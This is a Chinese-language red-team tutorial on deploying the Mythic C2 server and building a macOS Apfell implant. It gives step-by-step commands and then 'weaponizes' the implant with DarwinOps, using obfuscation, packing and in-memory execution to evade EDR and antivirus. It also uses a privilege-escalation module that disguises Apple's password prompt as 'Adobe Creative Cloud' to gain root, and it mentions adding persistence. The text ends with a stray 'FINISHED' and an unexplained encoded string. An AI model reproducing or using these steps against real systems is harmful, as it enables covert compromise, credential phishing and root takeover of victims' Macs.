MacOS红队实战:使用DarwinOps构建Mythic C2武器化载荷
本文将探讨如何在MacOS上搭建Mythic C2命令控制框架及其Apfell植入程序。我们将使用BallisKit DarwinOps对植入程序进行武器化处理以绕过EDR检测。同时还将演示如何使用权限提升模块获取Root访问权限。
1. 验证依赖项
开始之前,确保已安装构建mythic-cli所需的所有依赖项:
apt install make -y
apt install git -y
2. 从GitHub下载Mythic
从GitHub克隆Mythic仓库并进入目录:
sudo git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
3. 安装Docker和Docker Compose
Mythic需要Docker和Docker Compose来运行其服务。使用以下脚本之一安装Docker:
- Debian:
./install_docker_debian.sh - Kali Linux:
./install_docker_kali.sh - Ubuntu:
./install_docker_ubuntu.sh
4. 构建Mythic-CLI
构建mythic-cli:
make
如果一切顺利,你将得到一个可用的./mythic-cli文件。
5. 启动Mythic
脚本执行完成后,即可启动Mythic:
./mythic-cli start
提示:某些容器可能需要时间初始化并与其它服务通信。初始阶段看到错误消息是常见现象;重要的是所有容器都已启动。
6. 配置
所有配置通过.env文件或以下命令完成:
./mythic-cli config
如果C2服务器需要远程访问,必须执行以下命令:
./mythic-cli config set mythic_server_bind_localhost_only false && ./mythic-cli restart
现在可以通过服务器IP地址访问UI面板。如果无法连接,请确保'BOUND LOCALLY'设置为false。
通过以下地址访问Mythic UI:
https://127.0.0.1:7443/new/login
登录凭证:
- 用户名:
mythic_admin - 密码:自动生成,可在
.env文件中找到。或使用命令:grep ^MYTHIC_ADMIN_PASSWORD= .env | cut -d = -f2
7. 安装Payload和C2Profile
登录后,进入Payloads部分,安装payload和通信通道:
安装Apfell(用于macOS的Mythic payload,使用JXA):
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
安装HTTP C2Profile(与植入程序通信):
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
8. 生成Apfell Payload
生成Apfell payload的步骤:
- 选择MacOS(如果Apfell是唯一安装的payload,则为默认选项)
- 选择Apfell(如果也是唯一安装的payload,则为默认选项)
- 添加所需的命令(不会影响整体流程)
- 选择C2 Profiles时,确保包含HTTP
- 验证参数是否匹配。默认设置为
https://和端口80。如果配置不一致将无法工作 - 参数输入完成后,即可下载payload
9. 使用DarwinOps进行武器化
生成的payload可能会被防病毒程序标记并删除,因此需要对其进行武器化处理。这里将使用DarwinOps,专为MacOS设计的红队工具包!
武器化Apfell payload:
./darwin_ops -G payload.app -i apfell.js --autopack --obfuscate
执行生成的payload:
./in_memory_exec.js
权限提升模块使用: 如果需要更高权限,可以使用Privesc模块将自己伪装成合法应用程序:
./darwin_ops -G privesc.app -i apfell.js --privesc --privesc-delay-execution 10 --privesc-prompt_app_name "Adobe Creative Cloud" --privesc-prompt-app-icon CreativeCloudApp.icns --autopack --obfuscate
Apple的原生提示被伪装成我们选择的应用程序,但实际上将以root权限启动我们的Apfell植入程序。
如图所示,通过植入程序获得了root访问权限,DarwinOps还允许通过其他模块添加持久化功能。FINISHED CSD0tFqvECLokhw9aBeRqgJcKWJF+birK01iJlMQBy8dA/IoUmQ3a8NCV4f4/iDmWdrGlB1A+YwCQcYLk3pbu5V7iJKALOsEBgS+H36NPVXQ5dRIxJeywUbdYhy6nc3+JEcVMdU+0GYoG38+NOoYTQ==